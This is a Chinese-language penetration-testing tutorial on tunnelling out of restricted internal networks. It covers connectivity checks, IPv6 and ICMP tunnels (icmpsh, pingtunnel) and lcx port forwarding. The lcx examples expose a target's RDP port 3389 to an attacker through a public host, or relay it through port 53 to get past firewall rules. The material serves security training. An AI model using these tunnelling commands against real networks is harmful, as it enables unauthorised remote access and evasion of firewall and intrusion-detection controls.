完成内网信息收集后,渗透测试人员需要判断流量是否进得去、出得来。
隐藏通信隧道技术通常用于在访问受限的网络环境中追踪数据流向和在非信任的网站中实现安全数据传输。
什么是隧道?
这里的隧道,就是一种绕过端口屏蔽的通信方式。
常用的隧道列举:
判断内网的连通性是指判断机器能否上外网等。
需要综合各种协议(TCP、HTTP、DNS、ICMP等)和端口通信的情况。
常规允许流出端口 : 80、8080、443、53、110、123等。
1.2.1ICMP协议
ping
命令
1.2.2TCP协议
netcat
也就是nc
通过使用TCP或UDP协议的网络连接读写数据
命令: nc -nv IP port
nc -h
其他参数
[v1.12 NT http://eternallybored.org/misc/netcat/]
connect to somewhere: nc [-options] hostname port[s] [ports] …
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, background mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-c send CRLF instead of just LF
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]
1.2.3HTTP协议
curl
是一个利用url规则在命令行下工作的综合文件传输工具,支持文件的上传下载。
命令:curl www.baidu.com 80
1.2.4 DNS协议
nslookup
、dig
命令:nslookup www.baidu.com
1.2.5 proxy
还有一种情况是流量不能直接流出,需要在内网中设置代理服务器,常见于通过企业办公网段上网的情景。
常用判断方法:
1、查看网络连接,看是否存在于其他机器8080(不绝对)等端口的连接。
2、查看内网中是否有主机名类似proxy
的机器。
3、查看IE等浏览器的直接代理。
4、根据pac文件的路径(可能是本地路径,也可能是远程路径),将其下载下来查看。
5、执行curl命令确认
命令:curl www.baidu.com
//不通
curl -x proxy -ip www.baidu.com //通
在网络层中,两个常用的隧道协议是 IPV6
和 ICMP
IPv6 是 Internet Protocol Version 6 的缩写,也被称为下一代互联网协议。
2.1.1 IPV6隧道技术简介
IPv6 隧道技术是指通过 IPv4 隧道传送 IPv6 数据报文的技术。为了在IPv4海洋中传递IPv6信息,可以将IPv4作为隧道载体,将IPv6报文整体封装在IPv4数据报文中,使IPv6报文整体封装在IPv4数据报文中,使IPv6报文能够穿过IPv4海洋,到达另一个IPv6小岛。
工作过程:
1、节点A要向节点B发送IPv6报文,首先需要在节点A和节点B之间建立一条隧道
2、节点A将IPV6报文封装在以节点B的IPV4地址为目的地址,以自己的IPV4地址为源地址的IPV4报文中,并发往IPV4海洋。
3、在IPV4海洋中,这个报文和普通IPV4报文一样,经过IPV4的转发到达节点B。
4、节点B收到此报文之后,解除IPV4封装,取出其中的IPV6报文。
攻击者有时会通过恶意软件来配置允许进行IPv6通信 设备,以避开防火墙和入侵检测系统。有一点需要指出:即使设备支持IPv6,也可能无法正确分析封装了IPv6报文的IPv4数据包
配置隧道和自动隧道的主要区别是:只有在执行隧道功能的节点的IPv6地址是IPv4兼容地址时,自动隧道才是可行的。在为执行隧道功能的节点分配IP地址时,如果采用的是自动隧道方法,就不需要进行配置。
配置隧道方法则要求隧道末端节点使用其他机制来获得其IPv4地址,例如采用DHCP、人工配置或其他IPv4的配置机制。
支持IPv6的隧道工具有socat、6tunnel、nt6tunnel等。
ICMP协议没有端口。
最常见的ICMP消息为 ping 命令的回复,攻击者可以利用命令行得到比回复更多的 ICMP 请求。
在一些网络环境中,如果攻击者使用各类上层隧道(例如 HTTP 隧道、DNS隧道、常规正/反端口转发等)进行的操作都失败了,常常会通过 ping 命令远程访问计算机,尝试建立 ICMP 隧道。将 TCP/UDP 数据封装到 ICMP 的 ping 数据包中,从而穿透防火墙。
常用 ICMP 隧道工具: icmpsh , PingTunnel , icmptunnel , powershell icmp 等。
2.2.1 icmpsh工具
icmpsh 工具使用简单,便于“携带”(跨平台),运行时不需要管理员权限。杀软会报毒。
安装地址:https://github.com/inquisb/icmpsh
使用icmpsh需要安装python的impacket类库,以便对于各种协议进行访问。
apt-get install python-impacket
但是这里是为python3安装的,所以还得安装一个 pip2 ,
wget https://bootstrap.pypa.io/2.6/get-pip.py
python2 get-pip.py
pip2 -V
pip2 install impacket
因为icmpsh工具要代替系统本身的ping命令的应答程序,所以需要输入如下命令来关闭本地系统的ICMP答应(如果要恢复系统答应,则设置为0),否则Shell的运行会不稳定.
命令:sysctl -w net.ipv4.icmp_echo_ignore_all=1
icmp基本命令
C:\Users\Administrator\Desktop>icmpsh.exe -H
unrecognized option --
icmpsh.exe [options] -t target
options:
-t host host ip address to send ping requests to
-r send a single test icmp request and then quit
-d milliseconds delay between requests in milliseconds (default is 200)
-o milliseconds timeout in milliseconds
-h this screen
-b num maximal number of blanks (unanswered icmp requests)
before quitting
-s bytes maximal data buffer size in bytes (default is 64 bytes)
In order to improve the speed, lower the delay (-d) between requests or
increase the size (-s) of the data buffer
2.2.2 pingtunnel
下载地址
https://github.com/esrrhs/pingtunnel/releases
https://github.com/esrrhs/pingtunnel
传输层技术包括TCP隧道、UDP隧道和常规端口转发。
lcx 是一个基于 socket 套接字实现的端口转发工具。
windwos版 lcx.exe
linux版 portmap
1、内网端口转发
lcx.exe -slave <公网主机IP地址> 4444 127.0.0.1 3389
lcx.exe -listen 4444 5555
./portmap -m 2 -p1 4444 -p2 5555
此时,攻击者用 mstsc 登录 公网IP+5555 即可登陆目标服务器3389
2、本地端口映射
如果目标服务器由于防火墙规则,部分端口(如 3389) 的数据无法通过防火墙,可以将目标服务器相应端口的数据传到防火墙允许的其他端口(如 53).在目标主机上执行如下命令。
lcx.exe -tran 53 <目标IP> 3389
具体使用可以看这里
powercat 可以说是 nc 的 powershell 版本。